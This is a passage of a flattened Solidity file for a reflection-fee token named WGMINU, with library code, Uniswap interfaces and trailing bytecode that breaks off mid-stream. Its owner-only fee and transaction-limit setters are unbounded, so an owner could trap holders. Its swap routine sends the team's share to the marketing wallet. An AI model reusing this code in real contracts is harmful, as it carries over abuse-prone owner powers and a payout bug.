reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } pragma solidity ^0.6.0; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() public { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, 'ReentrancyGuard: reentrant call'); _status = _ENTERED; _; _status = _NOT_ENTERED; } modifier isHuman() { require(tx.origin == msg.sender, 'sorry humans only'); _; } } pragma solidity ^0.6.0; library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } interface IPinkAntiBot { function setTokenOwner(address owner) external; function onPreTransferCheck( address from, address to, uint256 amount ) external; } interface ITopHolderRewardDistributor { function depositReward(uint256 amount) external; function onTransfer(address sender, address recipient, uint256 amount) external; } contract WGMINU is Context, IERC20, Ownable, ReentrancyGuard { using SafeMath for uint256; using Address for address; using TransferHelper for address; string private _name = 'WGMInu'; string private _symbol = 'WGMINU'; uint8 private _decimals = 9; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _tokenBalance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 100_000_000_000e9; uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) public isTaxless; mapping(address => bool) internal _isExcluded; address[] internal _excluded; uint256 public _feeDecimal = 2; // index 0 = buy fee, index 1 = sell fee, index 2 = p2p fee uint256[] public _taxFee; uint256[] public _teamFee; uint256[] public _marketingFee; uint256 internal _feeTotal; uint256 internal _marketingFeeCollected; uint256 internal _teamFeeCollected; bool public isFeeActive = false; // should be true bool private inSwap; bool public swapEnabled = true; uint256 public maxTxAmount = _tokenTotal.mul(5).div(1000); // 0.5% uint256 public minTokensBeforeSwap = 1_000_000e9; address public marketingWallet; address public teamWallet; IUniswapV2Router02 public router; address public pair; event SwapUpdated(bool enabled); event Swap(uint256 swaped, uint256 recieved); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address _router,address _owner,address _marketingWallet, address _teamWallet) public { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); router = _uniswapV2Router; marketingWallet = _marketingWallet; teamWallet = _teamWallet; isTaxless[_owner] = true; isTaxless[teamWallet] = true; isTaxless[marketingWallet] = true; isTaxless[address(this)] = true; excludeAccount(address(pair)); excludeAccount(address(this)); excludeAccount(address(marketingWallet)); excludeAccount(address(teamWallet)); excludeAccount(address(address(0))); excludeAccount(address(address(0x000000000000000000000000000000000000dEaD))); _reflectionBalance[_owner] = _reflectionTotal; emit Transfer(address(0),_owner, _tokenTotal); _taxFee.push(100); _taxFee.push(100); _taxFee.push(100); _teamFee.push(400); _teamFee.push(400); _teamFee.push(400); _marketingFee.push(500); _marketingFee.push(500); _marketingFee.push(500); transferOwnership(_owner); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tokenTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero') ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount) public view returns (uint256) { require(tokenAmount <= _tokenTotal, 'Amount must be less than supply'); return tokenAmount.mul(_getReflectionRate()); } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require(reflectionAmount <= _reflectionTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) public onlyOwner { require(account != address(router), 'ERC20: We can not exclude Uniswap router.'); require(!_isExcluded[account], 'ERC20: Account is already excluded'); if (_reflectionBalance[account] > 0) { _tokenBalance[account] = tokenFromReflection(_reflectionBalance[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner { require(_isExcluded[account], 'ERC20: Account is already included'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); require(isTaxless[sender] || isTaxless[recipient] || amount <= maxTxAmount, 'Max Transfer Limit Exceeds!'); if (swapEnabled && !inSwap && sender != pair) { swap(); } uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); if (isFeeActive && !isTaxless[sender] && !isTaxless[recipient] && !inSwap) { transferAmount = collectFee(sender, amount, rate, recipient == pair, sender != pair && recipient != pair); } //transfer reflection _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //if any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function calculateFee(uint256 feeIndex, uint256 amount) internal returns(uint256, uint256) { uint256 taxFee = amount.mul(_taxFee[feeIndex]).div(10**(_feeDecimal + 2)); uint256 marketingFee = amount.mul(_marketingFee[feeIndex]).div(10**(_feeDecimal + 2)); uint256 teamFee = amount.mul(_teamFee[feeIndex]).div(10**(_feeDecimal + 2)); _marketingFeeCollected = _marketingFeeCollected.add(marketingFee); _teamFeeCollected = _teamFeeCollected.add(teamFee); return (taxFee, marketingFee.add(teamFee)); } function collectFee( address account, uint256 amount, uint256 rate, bool sell, bool p2p ) private returns (uint256) { uint256 transferAmount = amount; (uint256 taxFee, uint256 otherFee) = calculateFee(p2p ? 2 : sell ? 1 : 0, amount); if(otherFee != 0) { transferAmount = transferAmount.sub(otherFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(otherFee.mul(rate)); if (_isExcluded[address(this)]) { _tokenBalance[address(this)] = _tokenBalance[address(this)].add(otherFee); } emit Transfer(account, address(this), otherFee); } if(taxFee != 0){ _reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate)); } _feeTotal = _feeTotal.add(taxFee).add(otherFee); return transferAmount; } function swap() private lockTheSwap { uint256 totalFee = _teamFeeCollected.add(_marketingFeeCollected); if(minTokensBeforeSwap > totalFee) return; address[] memory sellPath = new address[](2); sellPath[0] = address(this); sellPath[1] = router.WETH(); uint256 balanceBefore = address(this).balance; _approve(address(this), address(router), totalFee); router.swapExactTokensForETHSupportingFeeOnTransferTokens( totalFee, 0, sellPath, address(this), block.timestamp ); uint256 amountFee = address(this).balance.sub(balanceBefore); uint256 amountMarketing = amountFee.mul(_marketingFeeCollected).div(totalFee); if(amountMarketing > 0) payable(marketingWallet).transfer(amountMarketing); uint256 amountTeam = address(this).balance; if(amountTeam > 0) payable(marketingWallet).transfer(address(this).balance); _marketingFeeCollected = 0; _teamFeeCollected = 0; emit Swap(totalFee, amountFee); } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_reflectionBalance[_excluded[i]] > reflectionSupply || _tokenBalance[_excluded[i]] > tokenSupply) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub(_reflectionBalance[_excluded[i]]); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function setPairRouterRewardToken(address _pair, IUniswapV2Router02 _router) external onlyOwner { pair = _pair; router = _router; } function setTaxless(address account, bool value) external onlyOwner { isTaxless[account] = value; } function setSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; SwapUpdated(enabled); } function setFeeActive(bool value) external onlyOwner { isFeeActive = value; } function setTaxFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { _taxFee[0] = buy; _taxFee[1] = sell; _taxFee[2] = p2p; } function setTeamFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { _teamFee[0] = buy; _teamFee[1] = sell; _teamFee[2] = p2p; } function setMarketingFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { _marketingFee[0] = buy; _marketingFee[1] = sell; _marketingFee[2] = p2p; } function setMarketingWallet(address wallet) external onlyOwner { marketingWallet = wallet; } function setTeamWallet(address wallet) external onlyOwner { teamWallet = wallet; } function setMaxTxAmount(uint256 percentage) external onlyOwner { maxTxAmount = _tokenTotal.mul(percentage).div(10000); } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } receive() external payable {} }
0x6080604052600436106102605760003560e01c80638c0b5e2211610144578063cba0e996116100b6578063ec28438a1161007a578063ec28438a146108f3578063f2cc0c181461091d578063f2fde38b14610950578063f84354f114610983578063f887ea40146109b6578063fbf63fc2146109cb57610267565b8063cba0e9961461082f578063dd62ed3e14610862578063e01af92c1461089d578063e43504da146108c9578063e5d41c6b146108de57610267565b8063a457c2d711610108578063a457c2d714610713578063a5ae2d2f1461074c578063a8aa1b311461077f578063a9059cbb14610794578063a918299c146107cd578063b7bfff651461080357610267565b80638c0b5e22146106745780638da5cb5b1461068957806391cc19c21461069e57806394169e0d146106c857806395d89b41146106fe57610267565b8063324c3454116101dd57806359927044116101a1578063599270441461059e5780635d098b38146105cf5780636ddd17131461060257806370a0823114610617578063715018a61461064a57806375f0a8741461065f57610267565b8063324c3454146104a057806339509351146104d6578063455fdd781461050f57806347f2dc5b1461053957806348a464731461057457610267565b806318160ddd1161022457806318160ddd146103de57806319db457d146103f357806323b872dd146104085780632d8381191461044b578063313ce5671461047557610267565b806306fdde031461026c578063095ea7b3146102f65780631185c1d5146103435780631392c0861461037f5780631525ff7d146103a957610267565b3661026757005b600080fd5b34801561027857600080fd5b50610281610a06565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102bb5781810151838201526020016102a3565b50505050905090810190601f1680156102e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030257600080fd5b5061032f6004803603604081101561031957600080fd5b506001600160a01b038135169060200135610a9a565b604080519115158252519081900360200190f35b34801561034f57600080fd5b5061036d6004803603602081101561036657600080fd5b5035610ab8565b60408051918252519081900360200190f35b34801561038b57600080fd5b5061036d600480360360208110156103a257600080fd5b5035610ad6565b3480156103b557600080fd5b506103dc600480360360208110156103cc57600080fd5b50356001600160a01b0316610b49565b005b3480156103ea57600080fd5b5061036d610bc3565b3480156103ff57600080fd5b5061036d610bc9565b34801561041457600080fd5b5061032f6004803603606081101561042b57600080fd5b506001600160a01b03813581169160208101359091169060400135610bcf565b34801561045757600080fd5b5061036d6004803603602081101561046e57600080fd5b5035610c56565b34801561048157600080fd5b5061048a610cb6565b6040805160ff9092168252519081900360200190f35b3480156104ac57600080fd5b506103dc600480360360608110156104c357600080fd5b5080359060208101359060400135610cbf565b3480156104e257600080fd5b5061032f600480360360408110156104f957600080fd5b506001600160a01b038135169060200135610d71565b34801561051b57600080fd5b5061036d6004803603602081101561053257600080fd5b5035610dbf565b34801561054557600080fd5b506103dc6004803603604081101561055c57600080fd5b506001600160a01b0381351690602001351515610dcc565b34801561058057600080fd5b506103dc6004803603602081101561059757600080fd5b5035610e4f565b3480156105aa57600080fd5b506105b3610eac565b604080516001600160a01b039092168252519081900360200190f35b3480156105db57600080fd5b506103dc600480360360208110156105f257600080fd5b50356001600160a01b0316610ebb565b34801561060e57600080fd5b5061032f610f35565b34801561062357600080fd5b5061036d6004803603602081101561063a57600080fd5b50356001600160a01b0316610f44565b34801561065657600080fd5b506103dc610fa6565b34801561066b57600080fd5b506105b3611048565b34801561068057600080fd5b5061036d611057565b34801561069557600080fd5b506105b361105d565b3480156106aa57600080fd5b5061036d600480360360208110156106c157600080fd5b503561106c565b3480156106d457600080fd5b506103dc600480360360608110156106eb57600080fd5b5080359060208101359060400135611079565b34801561070a57600080fd5b5061028161111a565b34801561071f57600080fd5b5061032f6004803603604081101561073657600080fd5b506001600160a01b03813516906020013561117b565b34801561075857600080fd5b5061032f6004803603602081101561076f57600080fd5b50356001600160a01b03166111e3565b34801561078b57600080fd5b506105b36111f8565b3480156107a057600080fd5b5061032f600480360360408110156107b757600080fd5b506001600160a01b038135169060200135611207565b3480156107d957600080fd5b506103dc600480360360608110156107f057600080fd5b508035906020810135906040013561121b565b34801561080f57600080fd5b506103dc6004803603602081101561082657600080fd5b503515156112bc565b34801561083b57600080fd5b5061032f6004803603602081101561085257600080fd5b50356001600160a01b0316611327565b34801561086e57600080fd5b5061036d6004803603604081101561088557600080fd5b506001600160a01b0381358116916020013516611345565b3480156108a957600080fd5b506103dc600480360360208110156108c057600080fd5b50351515611370565b3480156108d557600080fd5b5061032f611419565b3480156108ea57600080fd5b5061036d611422565b3480156108ff57600080fd5b506103dc6004803603602081101561091657600080fd5b5035611428565b34801561092957600080fd5b506103dc6004803603602081101561094057600080fd5b50356001600160a01b03166114a7565b34801561095c57600080fd5b506103dc6004803603602081101561097357600080fd5b50356001600160a01b0316611664565b34801561098f57600080fd5b506103dc600480360360208110156109a657600080fd5b50356001600160a01b031661175c565b3480156109c257600080fd5b506105b3611907565b3480156109d757600080fd5b506103dc600480360360408110156109ee57600080fd5b506001600160a01b0381358116916020013516611916565b60028054604080516020601f6000196101006001871615020190941685900493840181900481028201810190925282815260609390929091830182828015610a8f5780601f10610a6457610100808354040283529160200191610a8f565b820191906000526020600020905b815481529060010190602001808311610a7257829003601f168201915b505050505090505b90565b6000610aae610aa7611a79565b8484611a7d565b5060015b92915050565b600e8181548110610ac557fe5b600091825260209091200154905081565b6000600854821115610b2f576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b610b41610b3a611b69565b839061199c565b90505b919050565b610b51611a79565b6000546001600160a01b03908116911614610ba1576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b60085490565b600d5481565b6000610bdc848484611ce0565b610c4c84610be8611a79565b610c478560405180606001604052806028815260200161282c602891396001600160a01b038a16600090815260076020526040812090610c26611a79565b6001600160a01b0316815260208101919091526040016000205491906120da565b611a7d565b5060019392505050565b6000600954821115610c995760405162461bcd60e51b815260040180806020018281038252602a815260200180612799602a913960400191505060405180910390fd5b6000610ca3611b69565b9050610caf83826119f5565b9392505050565b60045460ff1690565b610cc7611a79565b6000546001600160a01b03908116911614610d17576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b82600e600081548110610d2657fe5b906000526020600020018190555081600e600181548110610d4357fe5b906000526020600020018190555080600e600281548110610d6057fe5b600091825260209091200155505050565b6000610aae610d7e611a79565b84610c478560076000610d8f611a79565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612171565b600f8181548110610ac557fe5b610dd4611a79565b6000546001600160a01b03908116911614610e24576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b610e57611a79565b6000546001600160a01b03908116911614610ea7576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b601655565b6018546001600160a01b031681565b610ec3611a79565b6000546001600160a01b03908116911614610f13576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b601780546001600160a01b0319166001600160a01b0392909216919091179055565b60145462010000900460ff1681565b6001600160a01b0381166000908152600b602052604081205460ff1615610f8457506001600160a01b038116600090815260066020526040902054610b44565b6001600160a01b038216600090815260056020526040902054610b4190610c56565b610fae611a79565b6000546001600160a01b03908116911614610ffe576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6017546001600160a01b031681565b60155481565b6000546001600160a01b031690565b60108181548110610ac557fe5b611081611a79565b6000546001600160a01b039081169116146110d1576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b82600f6000815481106110e057fe5b906000526020600020018190555081600f6001815481106110fd57fe5b906000526020600020018190555080600f600281548110610d6057fe5b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a8f5780601f10610a6457610100808354040283529160200191610a8f565b6000610aae611188611a79565b84610c478560405180606001604052806025815260200161293160259139600760006111b2611a79565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906120da565b600a6020526000908152604090205460ff1681565b601a546001600160a01b031681565b6000610aae611214611a79565b8484611ce0565b611223611a79565b6000546001600160a01b03908116911614611273576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b82601060008154811061128257fe5b906000526020600020018190555081601060018154811061129f57fe5b9060005260206000200181905550806010600281548110610d6057fe5b6112c4611a79565b6000546001600160a01b03908116911614611314576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6014805460ff1916911515919091179055565b6001600160a01b03166000908152600b602052604090205460ff1690565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b611378611a79565b6000546001600160a01b039081169116146113c8576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6014805482151562010000810262ff0000199092169190911790915560408051918252517fd2b6af97bbcf94796ee3844c1f0948ba30b3f2d496875e5e1587309eb210aac59181900360200190a150565b60145460ff1681565b60165481565b611430611a79565b6000546001600160a01b03908116911614611480576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6114a161271061149b8360085461199c90919063ffffffff16565b906119f5565b60155550565b6114af611a79565b6000546001600160a01b039081169116146114ff576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6019546001600160a01b038281169116141561154c5760405162461bcd60e51b815260040180806020018281038252602981526020018061289d6029913960400191505060405180910390fd5b6001600160a01b0381166000908152600b602052604090205460ff16156115a45760405162461bcd60e51b81526004018080602001828103825260228152602001806127776022913960400191505060405180910390fd5b6001600160a01b038116600090815260056020526040902054156115fe576001600160a01b0381166000908152600560205260409020546115e490610c56565b6001600160a01b0382166000908152600660205260409020555b6001600160a01b03166000818152600b60205260408120805460ff19166001908117909155600c805491820181559091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319169091179055565b61166c611a79565b6000546001600160a01b039081169116146116bc576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6001600160a01b0381166117015760405162461bcd60e51b81526004018080602001828103825260268152602001806127c36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611764611a79565b6000546001600160a01b039081169116146117b4576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152600b602052604090205460ff1661180b5760405162461bcd60e51b815260040180806020018281038252602281526020018061290f6022913960400191505060405180910390fd5b60005b600c5481101561190357816001600160a01b0316600c828154811061182f57fe5b6000918252602090912001546001600160a01b031614156118fb57600c8054600019810190811061185c57fe5b600091825260209091200154600c80546001600160a01b03909216918390811061188257fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600682526040808220829055600b90925220805460ff19169055600c8054806118d457fe5b600082815260209020810160001990810180546001600160a01b0319169055019055611903565b60010161180e565b5050565b6019546001600160a01b031681565b61191e611a79565b6000546001600160a01b0390811691161461196e576040805162461bcd60e51b81526020600482018190526024820152600080516020612854833981519152604482015290519081900360640190fd5b601a80546001600160a01b039384166001600160a01b03199182161790915560198054929093169116179055565b6000826119ab57506000610ab2565b828202828482816119b857fe5b0414610caf5760405162461bcd60e51b815260040180806020018281038252602181526020018061280b6021913960400191505060405180910390fd5b6000610caf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cb565b6000610caf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120da565b3390565b6001600160a01b038316611ac25760405162461bcd60e51b81526004018080602001828103825260248152602001806128eb6024913960400191505060405180910390fd5b6001600160a01b038216611b075760405162461bcd60e51b81526004018080602001828103825260228152602001806127e96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60095460085460009190825b600c54811015611ca0578260056000600c8481548110611b9157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bf657508160066000600c8481548110611bcf57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c1457600854600954611c0a916119f5565b9350505050610a97565b611c5460056000600c8481548110611c2857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611a37565b9250611c9660066000600c8481548110611c6a57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611a37565b9150600101611b75565b50600854600954611cb0916119f5565b821015611ccf57600854600954611cc6916119f5565b92505050610a97565b611cd982826119f5565b9250505090565b6001600160a01b038316611d255760405162461bcd60e51b81526004018080602001828103825260258152602001806128c66025913960400191505060405180910390fd5b6001600160a01b038216611d6a5760405162461bcd60e51b81526004018080602001828103825260238152602001806127546023913960400191505060405180910390fd5b60008111611da95760405162461bcd60e51b81526004018080602001828103825260298152602001806128746029913960400191505060405180910390fd5b6001600160a01b0383166000908152600a602052604090205460ff1680611de857506001600160a01b0382166000908152600a602052604090205460ff165b80611df557506015548111155b611e46576040805162461bcd60e51b815260206004820152601b60248201527f4d6178205472616e73666572204c696d69742045786365656473210000000000604482015290519081900360640190fd5b60145462010000900460ff168015611e665750601454610100900460ff16155b8015611e805750601a546001600160a01b03848116911614155b15611e8d57611e8d612230565b806000611e98611b69565b60145490915060ff168015611ec657506001600160a01b0385166000908152600a602052604090205460ff16155b8015611eeb57506001600160a01b0384166000908152600a602052604090205460ff16155b8015611eff5750601454610100900460ff16155b15611f4857601a54611f45908690859084906001600160a01b03908116898216811491851614801590611f405750601a546001600160a01b038a8116911614155b612521565b91505b611f74611f55848361199c565b6001600160a01b03871660009081526005602052604090205490611a37565b6001600160a01b038616600090815260056020526040902055611fb9611f9a838361199c565b6001600160a01b03861660009081526005602052604090205490612171565b6001600160a01b038086166000908152600560209081526040808320949094559188168152600b909152205460ff161561202a576001600160a01b0385166000908152600660205260409020546120109084611a37565b6001600160a01b0386166000908152600660205260409020555b6001600160a01b0384166000908152600b602052604090205460ff1615612088576001600160a01b03841660009081526006602052604090205461206e9083612171565b6001600160a01b0385166000908152600660205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7